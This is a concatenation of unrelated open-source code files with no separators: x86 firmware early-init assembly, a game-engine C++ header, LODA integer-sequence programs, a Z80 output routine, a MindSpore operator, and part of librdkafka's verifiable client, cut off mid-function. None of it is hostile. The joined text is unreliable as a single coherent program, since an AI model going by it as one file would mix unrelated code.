(OPCODE_SIDEBAND_REG_WRITE SHL SB_OPCODE_FIELD) OR (HOST_BRIDGE_PORT_ID SHL SB_PORT_FIELD) OR (HMISC2_OFFSET SHL SB_ADDR_FIELD) JMP32 stackless_SideBand_Write ; ; Before we get going, check SOC Unit Registers to see if we are required to issue a warm/cold reset ; mov ecx, (OPCODE_SIDEBAND_ALT_REG_READ SHL SB_OPCODE_FIELD) OR (SOC_UNIT_PORT_ID SHL SB_PORT_FIELD) OR (CFGNONSTICKY_W1_OFFSET SHL SB_ADDR_FIELD) JMP32 stackless_SideBand_Read and eax, FORCE_WARM_RESET jz TestForceColdReset ; Zero means bit clear, we're not requested to warm reset so continue as normal jmp IssueWarmReset TestForceColdReset: mov ecx, (OPCODE_SIDEBAND_ALT_REG_READ SHL SB_OPCODE_FIELD) OR (SOC_UNIT_PORT_ID SHL SB_PORT_FIELD) OR (CFGSTICKY_W1_OFFSET SHL SB_ADDR_FIELD) JMP32 stackless_SideBand_Read and eax, FORCE_COLD_RESET jz TestHmboundLock ; Zero means bit clear, we're not requested to cold reset so continue as normal jmp IssueColdReset ; ; Before setting HMBOUND, check it's not locked ; TestHmboundLock: mov ecx, (OPCODE_SIDEBAND_REG_READ SHL SB_OPCODE_FIELD) OR (HOST_BRIDGE_PORT_ID SHL SB_PORT_FIELD) OR (HMBOUND_OFFSET SHL SB_ADDR_FIELD) JMP32 stackless_SideBand_Read and eax, HMBOUND_LOCK jz ConfigHmbound ; Zero means bit clear, we have the config we want so continue as normal ; ; Failed to config - store sticky bit debug ; mov ecx, (OPCODE_SIDEBAND_ALT_REG_READ SHL SB_OPCODE_FIELD) OR (SOC_UNIT_PORT_ID SHL SB_PORT_FIELD) OR (CFGSTICKY_RW_OFFSET SHL SB_ADDR_FIELD) JMP32 stackless_SideBand_Read or eax, RESET_FOR_HMBOUND_LOCK ; Set the bit we're interested in mov ecx, (OPCODE_SIDEBAND_ALT_REG_WRITE SHL SB_OPCODE_FIELD) OR (SOC_UNIT_PORT_ID SHL SB_PORT_FIELD) OR (CFGSTICKY_RW_OFFSET SHL SB_ADDR_FIELD) JMP32 stackless_SideBand_Write jmp IssueWarmReset ; ; Set up the HMBOUND register ; ConfigHmbound: mov eax, HMBOUND_ADDRESS ; Data (Set HMBOUND location) mov ecx, (OPCODE_SIDEBAND_REG_WRITE SHL SB_OPCODE_FIELD) OR (HOST_BRIDGE_PORT_ID SHL SB_PORT_FIELD) OR (HMBOUND_OFFSET SHL SB_ADDR_FIELD) JMP32 stackless_SideBand_Write ; ; Enable interrupts to Remote Management Unit when a IMR/SMM/HMBOUND violation occurs. ; mov eax, ENABLE_IMR_INTERRUPT ; Data (Set interrupt enable mask) mov ecx, (OPCODE_SIDEBAND_REG_WRITE SHL SB_OPCODE_FIELD) OR (MEMORY_MANAGER_PORT_ID SHL SB_PORT_FIELD) OR (BIMRVCTL_OFFSET SHL SB_ADDR_FIELD) JMP32 stackless_SideBand_Write ; ; Set eSRAM address ; mov eax, PcdGet32 (PcdEsramStage1Base) ; Data (Set eSRAM location) shr eax, 18h ; Data (Set eSRAM location) add eax, BLOCK_ENABLE_PG mov ecx, (OPCODE_SIDEBAND_REG_WRITE SHL SB_OPCODE_FIELD) OR (MEMORY_MANAGER_PORT_ID SHL SB_PORT_FIELD) OR (ESRAMPGCTRL_BLOCK_OFFSET SHL SB_ADDR_FIELD) JMP32 stackless_SideBand_Write ; ; Check that we're not blocked from setting the config that we want. ; mov ecx, (OPCODE_SIDEBAND_REG_READ SHL SB_OPCODE_FIELD) OR (MEMORY_MANAGER_PORT_ID SHL SB_PORT_FIELD) OR (ESRAMPGCTRL_BLOCK_OFFSET SHL SB_ADDR_FIELD) JMP32 stackless_SideBand_Read and eax, BLOCK_ENABLE_PG jnz ConfigPci ; Non-zero means bit set, we have the config we want so continue as normal ; ; Failed to config - store sticky bit debug ; mov ecx, (OPCODE_SIDEBAND_ALT_REG_READ SHL SB_OPCODE_FIELD) OR (SOC_UNIT_PORT_ID SHL SB_PORT_FIELD) OR (CFGSTICKY_RW_OFFSET SHL SB_ADDR_FIELD) JMP32 stackless_SideBand_Read or eax, RESET_FOR_ESRAM_LOCK ; Set the bit we're interested in mov ecx, (OPCODE_SIDEBAND_ALT_REG_WRITE SHL SB_OPCODE_FIELD) OR (SOC_UNIT_PORT_ID SHL SB_PORT_FIELD) OR (CFGSTICKY_RW_OFFSET SHL SB_ADDR_FIELD) JMP32 stackless_SideBand_Write jmp IssueWarmReset ; ; Enable PCIEXBAR ; ConfigPci: mov eax, (EC_BASE + EC_ENABLE) ; Data mov ecx, (OPCODE_SIDEBAND_REG_WRITE SHL SB_OPCODE_FIELD) OR (MEMORY_ARBITER_PORT_ID SHL SB_PORT_FIELD) OR (AEC_CTRL_OFFSET SHL SB_ADDR_FIELD) JMP32 stackless_SideBand_Write mov eax, (EC_BASE + EC_ENABLE) ; Data mov ecx, (OPCODE_SIDEBAND_REG_WRITE SHL SB_OPCODE_FIELD) OR (HOST_BRIDGE_PORT_ID SHL SB_PORT_FIELD) OR (HECREG_OFFSET SHL SB_ADDR_FIELD) JMP32 stackless_SideBand_Write ; ; Open up full 8MB SPI decode ; mov ebx, PCI_CFG OR (ILB_PFA SHL 8) OR BDE ; PCI Configuration address mov eax, DECODE_ALL_REGIONS_ENABLE JMP32 stackless_PCIConfig_Write ; ; Enable NMI operation ; Good convention suggests you should read back RTC data port after ; accessing the RTC index port. ; mov al, NMI_ENABLE mov dx, RTC_INDEX out dx, al mov dx, RTC_DATA in al, dx ; ; Clear Host Bridge SMI, NMI, INTR fields ; mov ecx, (OPCODE_SIDEBAND_REG_READ SHL SB_OPCODE_FIELD) OR (HOST_BRIDGE_PORT_ID SHL SB_PORT_FIELD) OR (HLEGACY_OFFSET SHL SB_ADDR_FIELD) JMP32 stackless_SideBand_Read and eax, NOT(NMI + SMI + INTR) ; Clear NMI, SMI, INTR fields mov ecx, (OPCODE_SIDEBAND_REG_WRITE SHL SB_OPCODE_FIELD) OR (HOST_BRIDGE_PORT_ID SHL SB_PORT_FIELD) OR (HLEGACY_OFFSET SHL SB_ADDR_FIELD) JMP32 stackless_SideBand_Write ; ; Restore return address ; mov esp, ebp RET32 IssueWarmReset: ; ; Issue Warm Reset request to Remote Management Unit via iLB ; mov ax, CF9_WARM_RESET mov dx, ILB_RESET_REG out dx, ax jmp $ ; Stay here until we are reset. IssueColdReset: ; ; Issue Cold Reset request to Remote Management Unit via iLB ; mov ax, CF9_COLD_RESET mov dx, ILB_RESET_REG out dx, ax jmp $ ; Stay here until we are reset. stackless_EarlyPlatformInit ENDP ;---------------------------------------------------------------------------- ; ; Procedure: stackless_SideBand_Read ; ; Input: esp - return address ; ecx[15:8] - Register offset ; ecx[23:16] - Port ID ; ecx[31:24] - Opcode ; ; Output: eax - Data read ; ; Destroys: ; eax ; ebx ; cl ; esi ; ; Description: ; Perform requested sideband read ; ;---------------------------------------------------------------------------- stackless_SideBand_Read PROC NEAR C PUBLIC mov esi, esp ; Save the return address ; ; Load the SideBand Packet Register to generate the transaction ; mov ebx, PCI_CFG OR (HOST_BRIDGE_PFA SHL 8) OR MESSAGE_BUS_CONTROL_REG ; PCI Configuration address mov cl, (ALL_BYTE_EN SHL SB_BE_FIELD) ; Set all Byte Enable bits xchg eax, ecx JMP32 stackless_PCIConfig_Write xchg eax, ecx ; ; Read the SideBand Data Register ; mov ebx, PCI_CFG OR (HOST_BRIDGE_PFA SHL 8) OR MESSAGE_DATA_REG ; PCI Configuration address JMP32 stackless_PCIConfig_Read mov esp, esi ; Restore the return address RET32 stackless_SideBand_Read ENDP ;---------------------------------------------------------------------------- ; ; Procedure: stackless_SideBand_Write ; ; Input: esp - return address ; eax - Data ; ecx[15:8] - Register offset ; ecx[23:16] - Port ID ; ecx[31:24] - Opcode ; ; Output: None ; ; Destroys: ; ebx ; cl ; esi ; ; Description: ; Perform requested sideband write ; ; ;---------------------------------------------------------------------------- stackless_SideBand_Write PROC NEAR C PUBLIC mov esi, esp ; Save the return address ; ; Load the SideBand Data Register with the data ; mov ebx, PCI_CFG OR (HOST_BRIDGE_PFA SHL 8) OR MESSAGE_DATA_REG ; PCI Configuration address JMP32 stackless_PCIConfig_Write ; ; Load the SideBand Packet Register to generate the transaction ; mov ebx, PCI_CFG OR (HOST_BRIDGE_PFA SHL 8) OR MESSAGE_BUS_CONTROL_REG ; PCI Configuration address mov cl, (ALL_BYTE_EN SHL SB_BE_FIELD) ; Set all Byte Enable bits xchg eax, ecx JMP32 stackless_PCIConfig_Write xchg eax, ecx mov esp, esi ; Restore the return address RET32 stackless_SideBand_Write ENDP ;---------------------------------------------------------------------------- ; ; Procedure: stackless_PCIConfig_Write ; ; Input: esp - return address ; eax - Data to write ; ebx - PCI Config Address ; ; Output: None ; ; Destroys: ; dx ; ; Description: ; Perform a DWORD PCI Configuration write ; ;---------------------------------------------------------------------------- stackless_PCIConfig_Write PROC NEAR C PUBLIC ; ; Write the PCI Config Address to the address port ; xchg eax, ebx mov dx, PCI_ADDRESS_PORT out dx, eax xchg eax, ebx ; ; Write the PCI DWORD Data to the data port ; mov dx, PCI_DATA_PORT out dx, eax RET32 stackless_PCIConfig_Write ENDP ;---------------------------------------------------------------------------- ; ; Procedure: stackless_PCIConfig_Read ; ; Input: esp - return address ; ebx - PCI Config Address ; ; Output: eax - Data read ; ; Destroys: ; eax ; dx ; ; Description: ; Perform a DWORD PCI Configuration read ; ;---------------------------------------------------------------------------- stackless_PCIConfig_Read PROC NEAR C PUBLIC ; ; Write the PCI Config Address to the address port ; xchg eax, ebx mov dx, PCI_ADDRESS_PORT out dx, eax xchg eax, ebx ; ; Read the PCI DWORD Data from the data port ; mov dx, PCI_DATA_PORT in eax, dx RET32 stackless_PCIConfig_Read ENDP ; ; ROM-based Global-Descriptor Table for the Tiano PEI Phase ; align 16 PUBLIC BootGdtTable ; ; GDT[0]: 0x00: Null entry, never used. ; NULL_SEL equ $ - GDT_BASE ; Selector [0] GDT_BASE: BootGdtTable DD 0 DD 0 ; ; Linear data segment descriptor ; LINEAR_SEL equ $ - GDT_BASE ; Selector [0x8] DW 0FFFFh ; limit 0xFFFF DW 0 ; base 0 DB 0 DB 092h ; present, ring 0, data, expand-up, writable DB 0CFh ; page-granular, 32-bit DB 0 ; ; Linear code segment descriptor ; LINEAR_CODE_SEL equ $ - GDT_BASE ; Selector [0x10] DW 0FFFFh ; limit 0xFFFF DW 0 ; base 0 DB 0 DB 09Bh ; present, ring 0, data, expand-up, not-writable DB 0CFh ; page-granular, 32-bit DB 0 ; ; System data segment descriptor ; SYS_DATA_SEL equ $ - GDT_BASE ; Selector [0x18] DW 0FFFFh ; limit 0xFFFF DW 0 ; base 0 DB 0 DB 093h ; present, ring 0, data, expand-up, not-writable DB 0CFh ; page-granular, 32-bit DB 0 ; ; System code segment descriptor ; SYS_CODE_SEL equ $ - GDT_BASE ; Selector [0x20] DW 0FFFFh ; limit 0xFFFF DW 0 ; base 0 DB 0 DB 09Ah ; present, ring 0, data, expand-up, writable DB 0CFh ; page-granular, 32-bit DB 0 ; ; Spare segment descriptor ; SYS16_CODE_SEL equ $ - GDT_BASE ; Selector [0x28] DW 0FFFFh ; limit 0xFFFF DW 0 ; base 0 DB 0Fh DB 09Bh ; present, ring 0, code, expand-up, writable DB 00h ; byte-granular, 16-bit DB 0 ; ; Spare segment descriptor ; SYS16_DATA_SEL equ $ - GDT_BASE ; Selector [0x30] DW 0FFFFh ; limit 0xFFFF DW 0 ; base 0 DB 0 DB 093h ; present, ring 0, data, expand-up, not-writable DB 00h ; byte-granular, 16-bit DB 0 ; ; Spare segment descriptor ; SPARE5_SEL equ $ - GDT_BASE ; Selector [0x38] DW 0 ; limit 0xFFFF DW 0 ; base 0 DB 0 DB 0 ; present, ring 0, data, expand-up, writable DB 0 ; page-granular, 32-bit DB 0 GDT_SIZE EQU $ - BootGDTtable ; Size, in bytes ; ; GDT Descriptor ; GdtDesc: ; GDT descriptor DW GDT_SIZE - 1 ; GDT limit DD OFFSET BootGdtTable ; GDT base address ProtectedModeEntryLinearAddress LABEL FWORD ProtectedModeEntryLinearOffset LABEL DWORD DD OFFSET ProtectedModeEntryPoint ; Offset of our 32 bit code DW LINEAR_CODE_SEL END
/********************************************************************* (c) Matt Marchant 2017 - 2019 http://trederia.blogspot.com xygineXT - Zlib license. This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software. 3. This notice may not be removed or altered from any source distribution. *********************************************************************/ #pragma once #include "xyginext/ecs/System.hpp" #include <SFML/Graphics/Drawable.hpp> namespace xy { /*! \brief System for rendering text objects. Usually this would be added last to the Scene after existing drawable systems, as the text ought to be rendered on top of everything else DEPRECATED: use the TextSystem and RenderSystem with Text components and Drawable components. */ class XY_EXPORT_API TextRenderer final : public xy::System, public sf::Drawable { public: explicit TextRenderer(MessageBus&); void process(float) override; private: std::vector<Entity> m_texts; std::vector<Entity> m_croppedTexts; void draw(sf::RenderTarget&, sf::RenderStates) const override; }; }
; A132117: Binomial transform of [1, 7, 17, 17, 6, 0, 0, 0,...]. ; 1,8,32,90,205,406,728,1212,1905,2860,4136,5798,7917,10570,13840,17816,22593,28272,34960,42770,51821,62238,74152,87700,103025,120276,139608,161182,185165,211730,241056,273328,308737,347480,389760,435786,485773,539942,598520,661740,729841,803068,881672,965910,1056045,1152346,1255088,1364552,1481025,1604800,1736176,1875458,2022957,2178990,2343880,2517956,2701553,2895012,3098680,3312910,3538061,3774498,4022592,4282720,4555265,4840616,5139168,5451322,5777485,6118070,6473496,6844188,7230577,7633100 add $0,1 lpb $0 add $2,$0 sub $0,1 add $3,$2 add $1,$3 add $2,$0 lpe mov $0,$1
INCLUDE "config_private.inc" IF !__CPU_RABBIT__ IF (__CLIB_OPT_UNROLL & 0xc0) SECTION smc_clib SECTION smc_l ELSE SECTION code_clib SECTION code_l ENDIF PUBLIC l_outi IF __SMS EXTERN asm_SMSlib_outi_block defc l_outi = asm_SMSlib_outi_block ; other outi entries defined in asm_SMSlib_outi_block ELSE PUBLIC l_outi_256 PUBLIC l_outi_128 PUBLIC l_outi_64 PUBLIC l_outi_32 PUBLIC l_outi_16 PUBLIC l_outi_8 PUBLIC l_outi_4 PUBLIC l_outi_2 PUBLIC l_outi_1 defc l_outi_32 = l_outi_64 + 64 defc l_outi_16 = l_outi_32 + 32 defc l_outi_8 = l_outi_16 + 16 defc l_outi_4 = l_outi_8 + 8 defc l_outi_2 = l_outi_4 + 4 defc l_outi_1 = l_outi_2 + 2 l_outi_256: call l_outi_128 l_outi_128: call l_outi_64 IF (__CLIB_OPT_UNROLL & 0xc0) jp l_outi_64 sub_14: or a jp z, l_outi_256 otir ret PUBLIC l_outi_loop_smc l_outi_loop_smc: ld a,b cp 14 jp c, sub_14 add a,a call c, l_outi_128 add a,a call c, l_outi_64 ret z enter_loop: xor a sub b and $3f add a,a ld (active_jr + 1),a active_jr: jr 0 ENDIF l_outi_64: outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi outi l_outi: ret ENDIF ENDIF
; A035214: 2 followed by a run of n 1's. ; 2,2,1,2,1,1,2,1,1,1,2,1,1,1,1,2,1,1,1,1,1,2,1,1,1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 lpb $0,1 add $2,1 sub $0,$2 lpe mov $1,$0 cmp $1,0 add $1,1
/** * Copyright 2020 Huawei Technologies Co., Ltd * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <set> #include <vector> #include <memory> #include "ops/reverse_sequence.h" #include "ops/op_utils.h" #include "utils/check_convert_utils.h" #include "mindapi/src/helper.h" namespace mindspore { namespace ops { MIND_API_OPERATOR_IMPL(ReverseSequence, BaseOperator); void ReverseSequence::Init(const int64_t seq_dim, const int64_t batch_dim) { this->set_seq_dim(seq_dim); this->set_batch_dim(batch_dim); } void ReverseSequence::set_seq_dim(const int64_t seq_dim) { (void)this->AddAttr(kSeqDim, api::MakeValue(seq_dim)); } void ReverseSequence::set_batch_dim(const int64_t batch_dim) { (void)this->AddAttr(kBatchDim, api::MakeValue(batch_dim)); } int64_t ReverseSequence::get_seq_dim() const { return GetValue<int64_t>(GetAttr(kSeqDim)); } int64_t ReverseSequence::get_batch_dim() const { auto value_ptr = this->GetAttr(kBatchDim); return GetValue<int64_t>(value_ptr); } REGISTER_PRIMITIVE_C(kNameReverseSequence, ReverseSequence); } // namespace ops } // namespace mindspore
; A062481: a(n) = n^prime(n). ; 1,8,243,16384,48828125,13060694016,232630513987207,144115188075855872,8862938119652501095929,100000000000000000000000000000,191943424957750480504146841291811,8505622499821102144576131684114829934592,4695452425098908797088971409337422035076128813,19209034394458959784875046614281821904593007673344,18892488895231098871212083167847595177590847015380859375,6582018229284824168619876730229402019930943462534319453394436096,3948992976476546055807962117305548095339102740462421587418915544041816753 mov $1,1 add $1,$0 seq $0,6005 ; The odd prime numbers together with 1. pow $1,$0 mov $0,$1
/* * Copyright (c) 2015, Confluent Inc * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ /** * librdkafka version of the Java VerifiableProducer and VerifiableConsumer * for use with the official Kafka client tests. */ #include <iostream> #include <fstream> #include <sstream> #include <map> #include <string> #include <cstdlib> #include <cstdio> #include <csignal> #include <cstring> #include <unistd.h> #include <sys/time.h> #include <assert.h> #include <ctype.h> #ifdef _MSC_VER #include "../win32/wingetopt.h" #elif _AIX #include <unistd.h> #else #include <getopt.h> #endif /* * Typically include path in a real application would be * #include <librdkafka/rdkafkacpp.h> */ #include "rdkafkacpp.h" static bool run = true; static bool exit_eof = false; static int verbosity = 1; class Assignment { public: static std::string name (const std::string &t, int partition) { std::stringstream stm; stm << t << "." << partition; return stm.str(); } Assignment(): topic(""), partition(-1), consumedMessages(0), minOffset(-1), maxOffset(0) { printf("Created assignment\n"); } Assignment(const Assignment &a) { topic = a.topic; partition = a.partition; consumedMessages = a.consumedMessages; minOffset = a.minOffset; maxOffset = a.maxOffset; } Assignment &operator=(const Assignment &a) { this->topic = a.topic; this->partition = a.partition; this->consumedMessages = a.consumedMessages; this->minOffset = a.minOffset; this->maxOffset = a.maxOffset; return *this; } int operator==(const Assignment &a) const { return !(this->topic == a.topic && this->partition == a.partition); } int operator<(const Assignment &a) const { if (this->topic < a.topic) return 1; if (this->topic >= a.topic) return 0; return (this->partition < a.partition); } void setup (std::string t, int32_t p) { assert(!t.empty()); assert(topic.empty() || topic == t); assert(partition == -1 || partition == p); topic = t; partition = p; } std::string topic; int partition; int consumedMessages; int64_t minOffset; int64_t maxOffset; }; static struct { int maxMessages; struct { int numAcked; int numSent; int numErr; } producer; struct { int consumedMessages; int consumedMessagesLastReported; int consumedMessagesAtLastCommit; bool useAutoCommit; bool useAsyncCommit; std::map<std::string, Assignment> assignments; } consumer; } state = { /* .maxMessages = */ -1 }; static RdKafka::KafkaConsumer *consumer; static std::string now () { struct timeval tv; gettimeofday(&tv, NULL); time_t t = tv.tv_sec; struct tm *tm = localtime(&t); char buf[64]; strftime(buf, sizeof(buf), "%H:%M:%S", tm); snprintf(buf+strlen(buf), sizeof(buf)-strlen(buf), ".%03d", (int)(tv.tv_usec / 1000)); return buf; } static time_t watchdog_last_kick; static const int watchdog_timeout = 10; static void sigwatchdog (int sig) { time_t t = time(NULL); if (watchdog_last_kick + watchdog_timeout <= t) { std::cerr << now() << ": WATCHDOG TIMEOUT (" << (int)(t - watchdog_last_kick) << "s): TERMINATING" << std::endl; abort(); } } static void watchdog_kick () { watchdog_last_kick = time(NULL); /* Safe guard against hangs-on-exit */ alarm(watchdog_timeout); } static void errorString (const std::string &name, const std::string &errmsg, const std::string &topic, const std::string *key, const std::string &value) { std::cout << "{ " << "\"name\": \"" << name << "\", " << "\"_time\": \"" << now() << "\", " << "\"message\": \"" << errmsg << "\", " << "\"topic\": \"" << topic << "\", " << "\"key\": \"" << (key ? *key : "NULL") << "\", " << "\"value\": \"" << value << "\" " << "}" << std::endl; } static void successString (const std::string &name, const std::string &topic, int partition, int64_t offset, const std::string *key, const std::string &value) { std::cout << "{ " << "\"name\": \"" << name << "\", " << "\"_time\": \"" << now() << "\", " << "\"topic\": \"" << topic << "\", " << "\"partition\": " << partition << ", " << "\"offset\": " << offset << ", " << "\"key\": \"" << (key ? *key : "NULL") << "\", " << "\"value\": \"" << value << "\" " << "}" << std::endl; } #if FIXME static void offsetStatus (bool success, const std::string &topic, int partition, int64_t offset, const std::string &errstr) { std::cout << "{ " "\"name\": \"offsets_committed\", " << "\"success\": " << success << ", " << "\"offsets\": [ " << " { " << " \"topic\": \"" << topic << "\", " << " \"partition\": " << partition << ", " << " \"offset\": " << (int)offset << ", " << " \"error\": \"" << errstr << "\" " << " } " << "] }" << std::endl; } #endif static void sigterm (int sig) { std::cerr << now() << ": Terminating" << std::endl; if (!run) { std::cerr << now() << ": Forced termination" << std::endl; exit(1); } run = false; } class ExampleDeliveryReportCb : public RdKafka::DeliveryReportCb { public: void dr_cb (RdKafka::Message &message) { if (message.err()) { state.producer.numErr++; errorString("producer_send_error", message.errstr(), message.topic_name(), message.key(), std::string(static_cast<const char*>(message.payload()), message.len())); } else { successString("producer_send_success", message.topic_name(), (int)message.partition(), message.offset(), message.key(), std::string(static_cast<const char*>(message.payload()), message.len())); state.producer.numAcked++; } } }; class ExampleEventCb : public RdKafka::EventCb { public: void event_cb (RdKafka::Event &event) { switch (event.type()) { case RdKafka::Event::EVENT_ERROR: std::cerr << now() << ": ERROR (" << RdKafka::err2str(event.err()) << "): " << event.str() << std::endl; if (event.err() == RdKafka::ERR__ALL_BROKERS_DOWN) run = false; break; case RdKafka::Event::EVENT_STATS: std::cerr << now() << ": \"STATS\": " << event.str() << std::endl; break; case RdKafka::Event::EVENT_LOG: std::cerr << now() << ": LOG-" << event.severity() << "-" << event.fac() << ": " << event.str() << std::endl; break; default: std::cerr << now() << ": EVENT " << event.type() << " (" << RdKafka::err2str(event.err()) << "): " << event.str() << std::endl; break; } } }; /* Use of this partitioner is pretty pointless since no key is provided * in the produce() call. */ class MyHashPartitionerCb : public RdKafka::PartitionerCb { public: int32_t partitioner_cb (const RdKafka::Topic *topic, const std::string *key, int32_t partition_cnt, void *msg_opaque) { return djb_hash(key->c_str(), key->size()) % partition_cnt; } private: static inline unsigned int djb_hash (const char *str, size_t len) { unsigned int hash = 5381; for (size_t i = 0 ; i < len ; i++) hash = ((hash << 5) + hash) + str[i]; return hash; } }; /** * Print number of records consumed, every 100 messages or on timeout. */ static void report_records_consumed (int immediate) { std::map<std::string,Assignment> *assignments = &state.consumer.assignments; if (state.consumer.consumedMessages <= state.consumer.consumedMessagesLastReported + (immediate ? 0 : 100)) return; std::cout << "{ " "\"name\": \"records_consumed\", " << "\"count\": " << (state.consumer.consumedMessages - state.consumer.consumedMessagesLastReported) << ", " << "\"partitions\": [ "; for (std::map<std::string,Assignment>::iterator ii = assignments->begin() ; ii != assignments->end() ; ii++) { Assignment *a = &(*ii).second; assert(!a->topic.empty()); std::cout << (ii == assignments->begin() ? "": ", ") << " { " << " \"topic\": \"" << a->topic << "\", " << " \"partition\": " << a->partition << ", " << " \"minOffset\": " << a->minOffset << ", " << " \"maxOffset\": " << a->maxOffset << " " << " } "; a->minOffset = -1; } std::cout << "] }" << std::endl; state.consumer.consumedMessagesLastReported = state.consumer.consumedMessages; } /** * Commit every 1000 messages or whenever there is a consume timeout. */ static void do_commit (RdKafka::KafkaConsumer *consumer, int immediate) { if (!state.consumer.useAutoCommit && (state.consumer.consumedMessagesAtLastCommit + (immediate ? 0 : 1000)) < state.consumer.consumedMessages) { /* Make sure we report consumption before commit, * otherwise tests may fail because of commit > consumed. */ if (state.consumer.consumedMessagesLastReported < state.consumer.consumedMessages) report_records_consumed(1); std::cerr << now() << ": committing " << (state.consumer.consumedMessages - state.consumer.consumedMessagesAtLastCommit) << " messages (" << (state.consumer.useAsyncCommit ? "async":"sync") << ")" << std::endl; if (state.consumer.useAsyncCommit) consumer->commitAsync(); else consumer->commitSync(); state.consumer.consumedMessagesAtLastCommit = state.consumer.consumedMessages; } } void msg_consume(RdKafka::KafkaConsumer *consumer, RdKafka::Message* msg, void* opaque) { switch (msg->err()) { case RdKafka::ERR__TIMED_OUT: /* Try reporting consumed messages */ report_records_consumed(1); /* Commit one every consume() timeout instead of on every message. * Also commit on every 1000 messages, whichever comes first. */ do_commit(consumer, 1); break; case RdKafka::ERR_NO_ERROR: { /* Real message */ if (verbosity > 2) std::cerr << now() << ": Read msg from " << msg->topic_name() << " [" << (int)msg->partition() << "] at offset " << msg->offset() << std::endl; if (state.maxMessages >= 0 && state.consumer.consumedMessages >= state.maxMessages) return; Assignment *a = &state.consumer.assignments[Assignment::name(msg->topic_name(), msg->partition())]; a->setup(msg->topic_name(), msg->partition()); a->consumedMessages++; if (a->minOffset == -1) a->minOffset = msg->offset(); if (a->maxOffset < msg->offset()) a->maxOffset = msg->offset(); if (msg->key()) { if (verbosity >= 3) std::cerr << now() << ": Key: " << *msg->key() << std::endl; } if (verbosity >= 3) fprintf(stderr, "%.*s\n", static_cast<int>(msg->len()), static_cast<const char *>(msg->payload())); state.consumer.consumedMessages++; report_records_consumed(0); do_commit(consumer, 0); } break; case RdKafka::ERR__PARTITION_EOF: /* Last message */ if (exit_eof) { run = false; } break; case RdKafka::ERR__UNKNOWN_TOPIC: case RdKafka::ERR__UNKNOWN_PARTITION: std::cerr << now() << ": Consume failed: " << msg->errstr() << std::endl; run = false; break; case RdKafka::ERR_GROUP_COORDINATOR_NOT_AVAILABLE: std::cerr << now() << ": Warning: " << msg->errstr() << std::endl; break; default: /* Errors */ std::cerr << now() << ": Consume failed: " << msg->errstr() << std::endl; run = false; } } class ExampleConsumeCb : public RdKafka::ConsumeCb { public: void consume_cb (RdKafka::Message &msg, void *opaque) { msg_consume(consumer_, &msg, opaque); } RdKafka::KafkaConsumer *consumer_; }; class ExampleRebalanceCb : public RdKafka::RebalanceCb { private: static void part_list_json (const std::vector<RdKafka::TopicPartition*> &partitions) { for (unsigned int i = 0 ; i < partitions.size() ; i++) std::cout << (i==0?"":", ") << "{ " << " \"topic\": \"" << partitions[i]->topic() << "\", " << " \"partition\": " << partitions[i]->partition() << " }"; } public: void rebalance_cb (RdKafka::KafkaConsumer *consumer, RdKafka::ErrorCode err, std::vector<RdKafka::TopicPartition*> &partitions) { /* Send message report prior to rebalancing event to make sure they * are accounted for on the "right side" of the rebalance. */ report_records_consumed(1); std::cout << "{ " << "\"name\": \"partitions_" << (err == RdKafka::ERR__ASSIGN_PARTITIONS ? "assigned" : "revoked") << "\", " << "\"partitions\": [ "; part_list_json(partitions); std::cout << "] }" << std::endl; if (err == RdKafka::ERR__ASSIGN_PARTITIONS) consumer->assign(partitions); else { do_commit(consumer, 1); consumer->unassign(); } } 